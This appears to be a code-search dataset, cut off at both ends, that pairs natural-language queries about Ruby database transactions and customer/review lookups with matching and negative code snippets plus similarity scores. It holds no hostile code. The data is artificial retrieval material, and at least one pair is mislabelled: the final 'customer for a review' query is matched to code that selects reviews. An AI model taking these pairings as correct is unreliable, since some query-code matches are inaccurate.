"def open( tran: false, mode: :immediate ) # tran = true transaction\n #DBlog::stoD( parse_caller( caller.first ) ) if $debug == true\n @db = SQLite3::Database.new( @DBfile )\n @db.busy_timeout(1000)\n ecount = 0\n roll = false\n begin\n roll = false\n if tran == true\n @db.transaction( mode ) do\n roll = true\n yield self\n end\n else\n yield self\n end\n rescue SQLite3::BusyException => e\n DBlog::sto(\"SQLite3::BusyException tran = #{tran.to_s} #{ecount}\")\n begin\n @db.rollback() if roll == true\n rescue\n DBlog::sto(\"rollback fail #{$!}\")\n end\n if ecount > 59\n Commlib::errPrint( \"SQLite3::BusyException exit\", $!, e )\n return\n else\n #Commlib::errPrint( \"SQLite3::BusyException retry\", $!, e )\n ecount += 1\n sleep( 1 )\n DBlog::sto(\"retry\")\n retry\n end\n rescue => e\n Commlib::errPrint( \"SQLite3::another error\", $!, e )\n begin\n @db.rollback() if roll == true\n rescue\n DBlog::sto(\"rollback fail #{$!}\")\n end\n return\n ensure\n close()\n end\n end",
"def begin\n db.transaction do\n yield\n end\n end",
"def startRun\n db_cached_connect\n\n @dbh.do(\"BEGIN TRANSACTION;\")\n @dbh.do(\"SELECT startRun();\")\n end",
"def transaction\n start_transaction\n\n yield\n ensure\n end_transaction if transaction_started?\n end",
"def transaction\n begin\n if block_given?\n begin_db_transaction\n result = yield\n commit_db_transaction\n result\n end\n rescue Exception => database_transaction_rollback\n rollback_db_transaction\n raise\n end\n end",
"def TransactionBegin()\n\t@dbh.do(\"BEGIN\")\nend",
"def transaction(mode = :deferred, &block)\n @db.transaction(mode, &block)\n end",
"def transaction\n @database.transaction { yield self }\n end",
"def start\n raise \"Not implemented\"\n true if @transaction_nesting < 1\n @transaction_nesting += 1\n end",
"def begin_isolated_db_transaction(isolation)\n @connection.transaction transaction_isolation_levels.fetch(isolation, isolation)\n end",
"def begin_isolated_db_transaction(isolation)\n log(\"BEGIN ISOLATED - #{isolation}\", 'TRANSACTION') { @connection.begin(isolation) }\n end",
"def begin_isolated_db_transaction(isolation)\n name = isolation.to_s.upcase; name.sub!('_', ' ')\n log(\"/* BEGIN */; SET TRANSACTION ISOLATION LEVEL #{name}\") do\n @connection.begin(isolation)\n end\n end",
"def transaction\n raise Mysql::Error, 'Not Connected' if @my.nil?\n\n if block_given?\n begin\n @my.query('START TRANSACTION WITH CONSISTENT SNAPSHOT')\n yield # Start executing the query black.\n @my.query('COMMIT')\n rescue Mysql::Error => e\n @my.query('ROLLBACK')\n raise e\n end\n end\n end",
"def transaction(options={}, &block)\n connection.transaction(options.update(:requires_new => true), &block)\n end",
"def begin_db_transaction() \n log('Opening boxcar', 'begin_db_transaction()')\n @command_boxcar = []\n end",
"def begin_transaction(conn, opts={})\n set_transaction_isolation(conn, opts)\n super\n end",
"def transaction\n raise Mysql2::Error, 2002 if @my.nil?\n\n if block_given?\n begin\n @my.query('START TRANSACTION WITH CONSISTENT SNAPSHOT')\n yield # Start executing the query black.\n @my.query('COMMIT')\n rescue Mysql2::Error => e\n @my.query('ROLLBACK')\n raise e\n end\n end\n end",
"def begin_transaction(conn)\n log_info(TRANSACTION_BEGIN)\n conn.setAutoCommit(false)\n conn\n end",
"def begin_transaction(conn, opts=OPTS)\n if in_savepoint?(conn)\n _trans(conn)[:savepoints][-1][:obj] = log_connection_yield('Transaction.savepoint', conn){conn.set_savepoint}\n else\n log_connection_yield('Transaction.begin', conn){conn.setAutoCommit(false)}\n set_transaction_isolation(conn, opts)\n end\n end",
"def transaction( &block )\n connect do | conn |\n conn.transaction do | conn |\n yield SqlRunner.new(SingleConnectionPool.new( conn ))\n end\n end\n end",
"def begin_transaction(conn, opts={})\n log_yield(TRANSACTION_BEGIN){conn.setAutoCommit(false)}\n conn\n end",
"def checked_transaction(opts=OPTS)\n use_transaction?(opts) ? db.transaction({:server=>this_server}.merge!(opts)){yield} : yield\n end",
"def checked_transaction(opts=OPTS)\n use_transaction?(opts) ? db.transaction({:server=>this_server}.merge!(opts)){yield} : yield\n end",
"def begin_transaction(conn, opts=OPTS)\n log_connection_yield('Transaction.begin', conn){conn.autocommit = false}\n set_transaction_isolation(conn, opts)\n end",
"def restart_transaction\n ActiveRecord::Base.connection.execute(\"COMMIT\")\n ActiveRecord::Base.connection.execute(\"BEGIN\")\n end",
"def start(&block)\n res = database.execute_request(\n :post,\n '/transaction/begin',\n headers: { content_type: 'text/plain' }\n ).body\n self.id = res\n @state = :started\n instance_eval(&block) if block_given?\n self\n end",
"def transaction\n use do |connection|\n connection.transaction do |conn|\n begin\n yield conn\n rescue Rollback\n return\n end\n end\n end\n end",
"def transaction(object)\n object.db.transaction {raise ::Sequel::Error::Rollback unless yield}\n end",
"def transaction(&block)\n @in_transaction += 1\n begin\n yield self\n self.commit if @in_transaction > 0\n rescue => e\n self.rollback\n raise e\n ensure\n @in_transaction -= 1 unless @in_transaction == 0\n end\n end",
"def transaction\n start_transaction!\n\n result = yield\n\n query 'COMMIT'\n\n result\n rescue\n query 'ROLLBACK'\n raise\n\n ensure\n end_transaction!\n end",
"def transaction(&block)\n ActiveRecord::Base.transaction(&block)\n end",
"def with_transaction\n ActiveRecord::Base.transaction { yield }\n end",
"def transaction(&block)\n self['AutoCommit'] = false\n self.do_transaction(&block)\n self['AutoCommit'] = true\n end",
"def transaction(opts={}, &blk)\n Toshi.db.transaction(opts, &blk)\n end",
"def transaction(opts={:auto_enable => false})\n @transaction_level||=0\n @transaction_level+=1\n session do\n raise_if_transaction_running\n @transaction ||= true\n raise Error.cannot_obtain_transaction_lock if not lock_transaction\n begin\n yield\n # get_transaction in case cfgsave or cfgenable was run in transaction block\n # if there is no transaction we do not need to run it\n # if there is transaction but opend by someone else then t\n cfg_save if @transaction_level==1 && get_transaction\n rescue => e\n abort_transaction\n raise e\n end \n end\n ensure\n @transaction_level-=1\n @transaction = nil if @transaction_level==0\n end",
"def transaction(*sqls)\n begin\n db = SQLite3::Database.new(@@db_file)\n @@_set_db_handler.call(db)\n db.transaction do\n sqls.each do |sql|\n db.execute(sql)\n end\n end\n ensure\n db.close\n end\n end",
"def transaction(&block)\n begin\n @store.transaction\n block.call(@store)\n @store.commit\n rescue SQLite3::Exception => exception\n raise \"SQLite exception: #{exception}\"\n end\n end",
"def within_transaction\n if use_transaction\n first.within_transaction do\n yield\n success?\n end\n else\n yield\n end\n end",
"def trans\n\t\tbegin\n\t app = Aas::Application\n\t doc = app.DocumentManager.MdiActiveDocument\n\t db = doc.Database\n\t tr = doc.TransactionManager.StartTransaction\n\t yield tr, db\n\t\n\t tr.Commit\n\t tr.Dispose\n\t rescue Exception => e\n\t puts_ex e\n\t ensure\n\t tr.Dispose \n\t end\t\n\tend",
"def transaction(&block)\n raise InvalidDbError if @stale\n\n return transaction_in_staging(true, &block) if self.staging?\n\n begin\n transaction_in_staging(false, &block)\n ensure\n self.unstage\n end\n end",
"def start_transaction!(opts)\n tgi = threadlocal_graph_info\n tx_depth = tgi[:tx_depth] ||= 0\n tgi[:tx_depth] += 1\n begin\n if (not disable_transactions) and blueprints_graph.is_a? TransactionalGraph\n if tx_depth == 0\n close_implicit_transaction\n base_tx_finalizers\n elsif opts[:nesting] == true\n nested_tx_finalizers\n else\n fail NestedTransactionError, \"To use nested transactions, use nesting: true\"\n end\n else\n if tx_depth == 0\n mock_base_tx_finalizers\n else\n mock_nested_tx_finalizers\n end\n end\n rescue Exception\n tgi[:tx_depth] -= 1\n raise\n end\n end",
"def started_db\n start unless db.running?\n db\n end",
"def started_db\n start unless db.running?\n db\n end",
"def start(&block)\n transaction.start do\n run_callbacks(:transaction, &block)\n end\n end",
"def begin_transaction_sql\n SQL_BEGIN\n end",
"def begin_transaction_sql\n SQL_BEGIN\n end",
"def initialize\n open_connection!\n @transaction_open = false\n end",
"def begin\n raise \"Nested transactions are not allowed\" if @state != :INITIALIZED\n begin\n case @isolation\n when Hash\n if @isolation[:timestamp]\n @grpc_transaction = @connection.session.create_snapshot timestamp: @isolation[:timestamp]\n elsif @isolation[:staleness]\n @grpc_transaction = @connection.session.create_snapshot staleness: @isolation[:staleness]\n elsif @isolation[:strong]\n @grpc_transaction = @connection.session.create_snapshot strong: true\n else\n raise \"Invalid snapshot argument: #{@isolation}\"\n end\n when :read_only\n @grpc_transaction = @connection.session.create_snapshot strong: true\n when :pdml\n @grpc_transaction = @connection.session.create_pdml\n else\n @begin_transaction_selector = Google::Cloud::Spanner::V1::TransactionSelector.new \\\n begin: Google::Cloud::Spanner::V1::TransactionOptions.new(\n read_write: Google::Cloud::Spanner::V1::TransactionOptions::ReadWrite.new\n )\n\n end\n @state = :STARTED\n rescue Google::Cloud::NotFoundError => e\n if @connection.session_not_found? e\n @connection.reset!\n retry\n end\n @state = :FAILED\n raise\n rescue StandardError\n @state = :FAILED\n raise\n end\n end",
"def start_transaction\n file = open(\"#{head_path}.lock\", \"w\")\n file.flock(File::LOCK_EX)\n\n Thread.current['git_store_lock'] = file\n\n load if changed?\n end",
"def call\n db.transaction do\n _call_in_transaction\n end\n end",
"def rollback_db_transaction() end",
"def rollback_db_transaction() end",
"def begin\n raise \"Illegal state for begin: #{@state}\" unless @state == :none\n each_adapter(:connect_adapter, [:log_fatal_transaction_breakage])\n each_adapter(:begin_adapter, [:rollback_and_close_adapter_if_begin, :close_adapter_if_none])\n @state = :begin\n end",
"def transaction; end",
"def transaction; end",
"def transaction; end",
"def commit_db_transaction() end",
"def commit_db_transaction() end",
"def run_in_transaction isolation\n if isolation\n Base.transaction isolation: isolation do\n yield\n end\n else\n yield\n end\n end",
"def run_in_transaction isolation\n if isolation\n Base.transaction isolation: isolation do\n yield\n end\n else\n yield\n end\n end",
"def begin_transaction\n if @transaction_stack.empty?\n if @transaction_thread\n PEROBS.log.fatal 'transaction_thread must be nil'\n end\n @transaction_thread = Thread.current\n # The new transaction is the top-level transaction. Flush the write\n # buffer to save the current state of all objects.\n flush\n else\n # Nested transactions are currently only supported within the same\n # thread. If we are in another thread, raise TransactionInOtherThread\n # to pause the calling thread for a bit.\n if @transaction_thread != Thread.current\n raise TransactionInOtherThread\n end\n # Save a copy of all objects that were modified during the enclosing\n # transaction.\n @transaction_stack.last.each do |id|\n @transaction_objects[id]._stash(@transaction_stack.length - 1)\n end\n end\n # Push a transaction buffer onto the transaction stack. This buffer will\n # hold a reference to all objects modified during this transaction.\n @transaction_stack.push(::Array.new)\n end",
"def transaction(&block)\n yield\n commit\n end",
"def transaction\n @pool.hold do |conn|\n @transactions ||= []\n if @transactions.include? Thread.current\n return yield(conn)\n end\n log_info(SQL_BEGIN)\n conn.execute(SQL_BEGIN)\n begin\n @transactions << Thread.current\n yield(conn)\n rescue Exception => e\n log_info(SQL_ROLLBACK)\n conn.execute(SQL_ROLLBACK)\n raise e unless Error::Rollback === e\n ensure\n unless e\n log_info(SQL_COMMIT)\n conn.execute(SQL_COMMIT)\n end\n @transactions.delete(Thread.current)\n end\n end\n end",
"def with_transaction(&block)\n base_model.transaction(&block)\n end",
"def transaction(options = {}, &block)\n @klass.connection.run_queries_on_shard(@shard) do\n @klass = @klass.connection.transaction(options, &block)\n end\n end",
"def within_transaction; end",
"def within_transaction; end",
"def transaction\n transaction_not_started = true\n while transaction_not_started do\n begin\n @lock.synchronize do\n @cache.begin_transaction\n # If we get to this point, the transaction was successfully\n # started. We can exit the loop.\n transaction_not_started = false\n end\n rescue TransactionInOtherThread\n # sleep up to 50ms\n sleep(rand(50) / 1000.0)\n end\n end\n\n begin\n yield if block_given?\n rescue => e\n @lock.synchronize { @cache.abort_transaction }\n raise e\n end\n @lock.synchronize { @cache.end_transaction }\n end",
"def transaction(&block)\n db\n persister\n\n result = nil\n start_time = Time.now\n begin\n db.transaction(:rollback => :reraise, :isolation => :repeatable,\n :retry_on => @retry_on_error, :num_retries => 3) do\n result = yield block\n end\n total = Time.now.to_ms - start_time.to_ms\n debug \"Transaction committed (#{total} ms)\"\n result\n rescue StandardError => e\n total = Time.now.to_ms - start_time.to_ms\n warn \"Transaction failed (#{total} ms)\"\n raise e\n ensure\n GC.start\n end\n end",
"def perform_top_level\n @propagate_exceptions = true\n rv = true\n\n begin\n xact = self\n database.batch do\n xact.instance_eval(&xact.block)\n end\n\n commit\n @database.notify\n rescue Exception => e\n raise e if (not e.kind_of? TransactionRollback) && @propagate_exceptions\n rv = false\n end\n\n rv\n end",
"def transaction(&block); end",
"def commit_db_transaction\n @transaction = @connection.commit\n end",
"def open\n create_database\n end",
"def ddl_transaction(migration)\n if use_transaction?(migration)\n ActiveRecord::Base.transaction { yield }\n else\n yield\n end\n end",
"def locked_transaction(&block)\n unless connection.open_transactions.zero?\n raise \"locked_transaction cannot be called from within another transaction!\"\n end\n unsafe_locked_transaction do\n yield if block_given?\n end\n end",
"def commit_db_transaction\n execute(\"COMMIT\")\n end",
"def commit_db_transaction\n execute(\"COMMIT\")\n end",
"def transaction\n @pool.hold do |conn|\n @transactions ||= []\n if @transactions.include? Thread.current\n return yield(conn)\n end\n conn.execute(SQL_BEGIN)\n begin\n @transactions << Thread.current\n result = yield(conn)\n conn.execute(SQL_COMMIT)\n result\n rescue => e\n conn.execute(SQL_ROLLBACK)\n raise e unless Error::Rollback === e\n ensure\n @transactions.delete(Thread.current)\n end\n end\n end",
"def transaction_active?\n @db.transaction_active?\n end",
"def commit_db_transaction\n @connection.commit\n @connection.autocommit = true\n end",
"def transaction(opts = {})\n commit, rollback = start_transaction! opts\n tx_depth = nil\n begin\n if Pacer.verbose == :very\n tx_depth = threadlocal_graph_info[:dx_depth]\n puts \"--#{self.class.name} transaction #{ tx_depth } --> \"\n puts caller[0,3]\n end\n r = yield commit, rollback\n commit.call(false)\n r\n rescue Exception => e\n rollback.call e.message\n raise\n ensure\n puts \"--#{self.class.name} #{ tx_depth } <-- \" if Pacer.verbose == :very\n finish_transaction!\n end\n end",
"def begin_new_transaction(conn, opts)\n super\n if opts.has_key?(:synchronous)\n case sync = opts[:synchronous]\n when true\n sync = :on\n when false\n sync = :off\n when nil\n return\n end\n\n log_connection_execute(conn, \"SET LOCAL synchronous_commit = #{sync}\")\n end\n end",
"def transaction(&block)\n block.call\n end",
"def add_start_transaction!(command)\n command.tap do |c|\n if starting_transaction?\n c[:startTransaction] = true\n end\n end\n end",
"def transaction\n sanity_check\n raise InterfaceError, \"No block given\" unless block_given?\n\n commit\n begin\n yield self\n commit\n rescue Exception\n rollback\n raise\n end\n end",
"def start_transaction\n NewRelic::Agent.instance.events.notify(:start_transaction)\n end"
] |
[
"0.77285904",
"0.7552407",
"0.75057083",
"0.75057083",
"0.7490247",
"0.74283314",
"0.73108745",
"0.71682006",
"0.71258897",
"0.706478",
"0.7041109",
"0.7038126",
"0.7038126",
"0.70136744",
"0.696685",
"0.6962065",
"0.6883738",
"0.6822559",
"0.67258966",
"0.6724869",
"0.67078954",
"0.66925013",
"0.6685089",
"0.66303104",
"0.66110086",
"0.6587353",
"0.65430593",
"0.6531652",
"0.6526675",
"0.6525777",
"0.65159833",
"0.64881456",
"0.64731354",
"0.64551073",
"0.6384221",
"0.6376316",
"0.6376316",
"0.6350504",
"0.63298947",
"0.6303048",
"0.6302654",
"0.62849957",
"0.62714607",
"0.62581486",
"0.6257236",
"0.6251316",
"0.62503177",
"0.62432295",
"0.62188196",
"0.6204128",
"0.62020254",
"0.6170782",
"0.61686426",
"0.6166231",
"0.61316794",
"0.6131353",
"0.6131353",
"0.612843",
"0.61201835",
"0.61201835",
"0.6094308",
"0.6058001",
"0.6055039",
"0.60490847",
"0.60264003",
"0.60264003",
"0.6023628",
"0.6017031",
"0.6017031",
"0.6017031",
"0.59986293",
"0.59986293",
"0.5972206",
"0.5972206",
"0.59657216",
"0.5961522",
"0.59537023",
"0.59506893",
"0.5946046",
"0.5937442",
"0.5937442",
"0.5937428",
"0.59242827",
"0.59186816",
"0.5912429",
"0.5904033",
"0.58970016",
"0.58859295",
"0.5885614",
"0.5885363",
"0.5885363",
"0.5876199",
"0.5852611",
"0.58503336",
"0.584959",
"0.584871",
"0.583092",
"0.58073246",
"0.58061165",
"0.57973135"
] |
0.8204365
|
0
|
End the database transaction
|
def end_transaction!
@in_transaction = false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def commit_db_transaction\n execute(\"COMMIT\")\n end",
"def commit_db_transaction\n execute(\"COMMIT\")\n end",
"def rollback_db_transaction() end",
"def rollback_db_transaction() end",
"def rollback_db_transaction\n execute(\"ROLLBACK\")\n end",
"def rollback_db_transaction\n execute(\"ROLLBACK\")\n end",
"def commit_db_transaction() end",
"def commit_db_transaction() end",
"def commit_db_transaction\n @transaction = @connection.commit\n end",
"def end_transaction\n @connection = @auth_token = @version = nil\n end",
"def endRun\n db_cached_connect\n\n @dbh.do(\"SELECT endRun();\")\n @dbh.do(\"COMMIT TRANSACTION;\")\n end",
"def commit_db_transaction\n @connection.commit\n @connection.autocommit = true\n end",
"def commit_transaction_sql\n SQL_COMMIT\n end",
"def commit_transaction_sql\n SQL_COMMIT\n end",
"def end_transaction(result = nil)\n agent&.end_transaction(result)\n end",
"def exec_rollback_db_transaction\n log('ROLLBACK', 'TRANSACTION') { @connection.rollback }\n end",
"def end_transaction\n case @transaction_stack.length\n when 0\n PEROBS.log.fatal 'No ongoing transaction to end'\n when 1\n # All transactions completed successfully. Write all modified objects\n # into the backend storage.\n @transaction_stack.pop.each { |id| @transaction_objects[id]._sync }\n @transaction_objects = ::Hash.new\n @transaction_thread = nil\n else\n # A nested transaction completed successfully. We add the list of\n # modified objects to the list of the enclosing transaction.\n transactions = @transaction_stack.pop\n # Merge the two lists\n @transaction_stack.push(@transaction_stack.pop + transactions)\n # Ensure that each object ID is only included once in the list.\n @transaction_stack.last.uniq!\n end\n end",
"def commit_db_transaction\n log('COMMIT', 'TRANSACTION') { @connection.commit }\n end",
"def exec_rollback_db_transaction\n @connection.rollback\n @connection.autocommit = true\n end",
"def commit_db_transaction\n log('commit transaction', nil) { @connection.commit }\n end",
"def rollback_db_transaction\n @transaction = @connection.rollback\n end",
"def close\n commit\n end",
"def rollback_db_transaction\n log('rollback transaction', nil) { @connection.rollback }\n end",
"def release\n\t\t@connection.transactions.release\n\tend",
"def finish_transaction!\n threadlocal_graph_info[:tx_depth] -= 1 rescue nil\n end",
"def commit\n @db.commit\n end",
"def commit_transaction(tx)\n tx.execute\n end",
"def rollback_transaction_sql\n SQL_ROLLBACK\n end",
"def rollback_transaction_sql\n SQL_ROLLBACK\n end",
"def commit()\n check_return_code(PureHailDB.ib_trx_commit(@trx_ptr))\n end",
"def abort_transaction\n return System.abort_transaction\n end",
"def commit\n db_interface.commit\n end",
"def begin_db_transaction\n @connection.autocommit = false\n end",
"def rollback\n @db.rollback\n end",
"def release\n @connection.transactions.release\n end",
"def close\n @master.puts \"COMMIT;\"\n @master.puts \"-- Generated in #{Time.now - @started} seconds\"\n @master.close\n end",
"def end_transaction\n stack = scope_stack\n\n if stack && stack.empty?\n NewRelic::Agent::TransactionState.get.clear_stats_scope_stack\n end\n end",
"def transaction; end",
"def transaction; end",
"def transaction; end",
"def rollback_db_transaction() \n log('Rolling back boxcar', 'rollback_db_transaction()')\n @command_boxcar = []\n end",
"def finish_transaction\n Thread.current['git_store_lock'].close rescue nil\n Thread.current['git_store_lock'] = nil\n\n File.unlink(\"#{head_path}.lock\") rescue nil\n end",
"def rollback_transaction(tx)\n # nothing to do\n end",
"def flush_transaction\n puts \"Flushing Transaction.\"\n end",
"def commit\n @MySQLConnection.query('commit')\n end",
"def finish_request\n if transactional?\n if response.code < 400\n @connection.commit_db_transaction\n else\n @connection.rollback_db_transaction\n end\n ActiveRecord::Base.clear_active_connections!\n end\n super\n end",
"def remove_transaction(conn)\n conn.setAutoCommit(true) if conn\n super\n end",
"def rollback\n IBM_DB.rollback(@conn)\n end",
"def rollback; end",
"def rollback; end",
"def rollback; end",
"def rollback; end",
"def rollback; end",
"def begin_db_transaction() end",
"def begin_db_transaction() end",
"def rollback\n @MySQLConnection.query('rollback')\n end",
"def commit\n IBM_DB.commit(@conn)\n end",
"def commit_transaction(tx)\n tx.execute(self)\n end",
"def flushdb; end",
"def close\n\n @db.connection.close\n end",
"def commit\n # Nothing to do for an in memory database\n end",
"def destroy\n pr = proc{all(&:destroy).length}\n model.use_transactions ? @db.transaction(:server=>opts[:server], &pr) : pr.call\n end",
"def destroy\n pr = proc{all(&:destroy).length}\n model.use_transactions ? @db.transaction(:server=>opts[:server], &pr) : pr.call\n end",
"def commit; end",
"def commit; end",
"def commit; end",
"def rollback_transaction(conn)\n log_info(TRANSACTION_ROLLBACK)\n conn.rollback\n end",
"def close\n lib.tcidbclose( @db ) || raise_error\n\n lib.tcidbdel( @db )\n\n @db = nil\n end",
"def shutdown\n\n @db.connection.close\n end",
"def end_prematurely\n connection = ActiveRecord::Base.connection.raw_connection\n connection.exec(\"select end_auction(#{id})\")\n end",
"def rollback_transaction(tx)\n tx.rollback\n end",
"def commit_transaction(conn, opts=OPTS)\n if in_savepoint?(conn)\n if supports_releasing_savepoints?\n log_connection_yield('Transaction.release_savepoint', conn){conn.release_savepoint(savepoint_obj(conn))}\n end\n else\n log_connection_yield('Transaction.commit', conn){conn.commit}\n end\n end",
"def within_transaction; end",
"def within_transaction; end",
"def closeDBConn()\n if ( !@db_conn.nil? )\n begin\n @db_conn.finish()\n rescue Exception => e\n #ignore it\n end\n end\n end",
"def commit\n # no op\n end",
"def notifyTransactionEnd\n notifyRegisteredGUIs(:onTransactionEnd)\n end",
"def flushdb\n end",
"def void_last_transaction\n @total-=self.total\n end",
"def rollback()\n check_return_code(PureHailDB.ib_trx_rollback(@trx_ptr))\n end",
"def commit!\n _commit( false )\n end",
"def commit()\n #This is a stub, used for indexing\n end",
"def rollback\n query 'rollback'\n self\n end",
"def close()\n @db.close()\n end",
"def post_transaction_process\n fail(ActiveRecord::Rollback) unless @status\n end",
"def begin_db_transaction\n execute(\"BEGIN\")\n end",
"def begin_db_transaction\n execute(\"BEGIN\")\n end",
"def end() end",
"def commit_transaction(conn)\n log_info(TRANSACTION_COMMIT)\n conn.commit\n end",
"def commit( transaction )\n fail NotImplementedError\n end",
"def rollback\n current_transaction.rollback\n last_transaction = @all_transactions.pop\n end",
"def disconnect_connection(conn)\n conn.RollbackTrans rescue nil\n super\n end",
"def restart_transaction\n ActiveRecord::Base.connection.execute(\"COMMIT\")\n ActiveRecord::Base.connection.execute(\"BEGIN\")\n end",
"def remove_transaction(conn, committed)\n conn.autocommit = true\n ensure\n super\n end",
"def finished_transaction transaction, result\n if @finished_transaction_handler\n @finished_transaction_handler[transaction, result]\n end\n end",
"def begin_db_transaction\n @transaction = @connection.transaction('READ COMMITTED')\n end",
"def abort_transaction(session)\n session.abort_transaction\n Threaded.clear_modified_documents(session).each do |doc|\n doc.run_after_callbacks(:rollback)\n end\n end",
"def teardown\n @db.close\n super\n end",
"def transaction\n start_transaction!\n\n result = yield\n\n query 'COMMIT'\n\n result\n rescue\n query 'ROLLBACK'\n raise\n\n ensure\n end_transaction!\n end",
"def close\n IBM_DB.close(@conn)\n end"
] |
[
"0.8019847",
"0.8019847",
"0.77375084",
"0.77375084",
"0.76324254",
"0.76324254",
"0.7618432",
"0.7618432",
"0.7577138",
"0.75130767",
"0.74851495",
"0.7382211",
"0.7234997",
"0.7234997",
"0.72074765",
"0.7205753",
"0.71591",
"0.71304965",
"0.7120575",
"0.7098702",
"0.7050998",
"0.6905368",
"0.68498313",
"0.68338937",
"0.6829838",
"0.6817924",
"0.6795955",
"0.67917603",
"0.67917603",
"0.67539334",
"0.67534775",
"0.66511166",
"0.66477275",
"0.6607254",
"0.6603553",
"0.65958697",
"0.6549459",
"0.65455616",
"0.65455616",
"0.65455616",
"0.6492199",
"0.64806193",
"0.6472716",
"0.64673007",
"0.6467044",
"0.6431102",
"0.6430703",
"0.6416846",
"0.64083886",
"0.64083886",
"0.64083886",
"0.64083886",
"0.64083886",
"0.6397404",
"0.6397404",
"0.6396401",
"0.6396086",
"0.6395398",
"0.6384807",
"0.635745",
"0.6354379",
"0.63229364",
"0.63229364",
"0.6320798",
"0.6320798",
"0.6320798",
"0.631368",
"0.6291987",
"0.62883383",
"0.62782687",
"0.62768894",
"0.62671065",
"0.6260366",
"0.6260366",
"0.62383235",
"0.622242",
"0.6194856",
"0.6190305",
"0.6189728",
"0.6187638",
"0.61779886",
"0.6163717",
"0.6161698",
"0.6157448",
"0.6147668",
"0.6138851",
"0.6138851",
"0.61123234",
"0.6107418",
"0.6106858",
"0.6106475",
"0.6090878",
"0.6074206",
"0.6072997",
"0.606793",
"0.606393",
"0.6053394",
"0.60516596",
"0.60395783",
"0.6033012"
] |
0.825406
|
0
|
returns the customer for that given review
|
def customer
@@all.select {|review| self.restaurant.customers}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def customers\n self.reviews.collect do |review|\n review.customer\n end\n end",
"def reviews\n Review.all.select {|review| review.customer == self}\n end",
"def customer\n @customer ||= fetcher.get(Customer, customer_id)\n end",
"def customer_info(customer)\n return customer\n end",
"def customer(customer)\n id = epages_id(customer)\n perform_get_with_object(\"/customers/#{id}\", {}, Epages::Customer)\n end",
"def related_customers\n ratings.customers\n end",
"def customer(customer)\n self.all.select {|rev| rev.customer == customer}\n end",
"def review(review, options = {})\n get(\"reviews/#{review}\", options).pop\n end",
"def customer(customer_id)\n perform_get_request(\"/customer/#{customer_id}\")\n end",
"def review\n fetch('restaurant.review')\n end",
"def current_customer(unit)\n customers.at(unit).first\n end",
"def customer\n @customer ||= Customer.new(value_for('customer'))\n end",
"def customer(customer_id)\n client.get \"customers/#{inst_id}/#{customer_id}\"\n end",
"def customer()\n sql = \"SELECT * FROM customers INNER JOIN rentals ON rentals.customer_id\n = customers.id WHERE rentals.id = $1\"\n values = [@id]\n result = SqlRunner.run(sql, values)[0]\n return Customer.new(result)\n end",
"def get_customer_id\n return @customer_id\n end",
"def customer() #in the tickets (join) table so we can grab customer_id easily, the _id's are already bundled in this table\n sql = \"SELECT * FROM customers WHERE id = $1\"\n values = [@customer_id]\n customer = SqlRunner.run(sql, values).first\n return Customer.new(customer)\n end",
"def current_customer\n Customer.find_by({ id: session[:customer_id] })\n end",
"def get_reviews\n @comment_reviews = CommentReview.where('comment_id = ?', params[:comment_id])\n end",
"def reviewed?(restaurant, options = {})\n self.reviews.of_restaurant(restaurant, options).first\n end",
"def customer(id)\n response = get(\"customers/#{id}\")\n response.customer\n end",
"def review\n @review\n end",
"def customer_id\n params['customer_id']\n end",
"def user_name\n reviewee.name\n end",
"def find_customer\n #TODO:how does stripe_token get assigned to user?\n if @user.stripe_token\n retrieve_customer \n else\n create_customer\n end\n end",
"def customer(q)\n Customer.find(self, q)\n end",
"def review_user\n self.user\n end",
"def customer_name\n customer.name\n end",
"def show\n @customer = current_customer\n end",
"def customer_id\n return @customer_id\n end",
"def customer_by_ref(customer_ref)\n client.get \"customers/#{inst_id}/byRef?merchantRef=#{customer_ref}\"\n end",
"def customer\n self.customer\n end",
"def get_review(review)\n\n\t\treviewObject = Review.new(\n\t\t\treview.css(REVIEW_CONTENT).first&.content.strip.gsub(/\\r\\n/,\"\"), \t\t\t # content\n\t\t\tget_ranking_val(review.css(DEALERSHIP_RATING).first), \t\t\t\t\t\t\t # rating \n\t\t\tcreate_rating_dict(review.css(RATINGS_ALL)[0...-1]),\t\t\t\t # individual ratings\n\t\t\treview.css(RATINGS_ALL).last.css(\"div\").last.content.strip,\t # would recommend\n\t\t\treview.css(\"#{REVIEW_WRAPPER} h3\").first.content.tr(\"\\\"\", \"\").strip,\t\t\t # headline\n\t\t\treview.css(\"#{REVIEW_WRAPPER} span\").first.content.tr(\"-\", \"\").strip # username\n\t\t)\n\n\t\treturn reviewObject\n\tend",
"def customer(options = nil)\n request = Request.new(@client)\n path = \"/authorization-requests/\" + CGI.escape(@id) + \"/customers\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"customer\"]\n customer = Customer(self._client)\n return_values.push(customer.fill_with_data(body))\n\n \n return_values[0]\n end",
"def correct_customer\n @favorite = Favorite.find(params[:id])\n current_person.user == @favorite.customer\n end",
"def reviewed_by\n return @reviewed_by\n end",
"def search_shopify_customer(context)\n customer_emails = context_customer_emails(context)\n shopify_customer = nil\n\n customer_emails.each do |customer_email|\n shopify_customer = ShopifyAPI::Customer.search(query: customer_email).first\n break if shopify_customer\n end\n\n return shopify_customer\nend",
"def find_user_that_review_x_restaurant\n @restaurant = params[:name]\n if @restaurant.nil?\n @restaurant = 'please specify a restaurant'\n else \n @restaurant = Restaurant.find(params[:name]).name\n end\n @user = User.select(:email).joins(:reviews).group(:email, :restaurant_id).having('restaurant_id = ?', params[:name])\n end",
"def find_review\n Review.find(params[\"id\"])\n end",
"def customer\n self.user\n end",
"def show_customer\n @customer = Customer.find(params[:id])\n end",
"def reviews\n @reviews\n end",
"def index\n @reviews = current_user.reviews\n end",
"def customer_id\n customer.id\n end",
"def show\n @customer = customers.find(params[:id])\n end",
"def get_customer(id)\n get(\"customers/#{id}\")\n end",
"def get_customer(id)\n get(\"customers/#{id}\")\n end",
"def correct_customer\n @customer = Ticket.find_by(id: params[:comment][:id]).customer\n redirect_to root_url if @customer.nil? || @customer != current_customer\n end",
"def user_reviews\n list_of_reviews = self.reviews\n list_of_reviews.map{|review| \"User: #{review.user.name}, Rating: #{review.rating}, Review: #{review.description}\"}\n end",
"def current_customer\n Customer.find(session[:customer_id])\n rescue ActiveRecord::RecordNotFound\n customer = Customer.first\n session[:customer_id] = customer.id\n customer\n end",
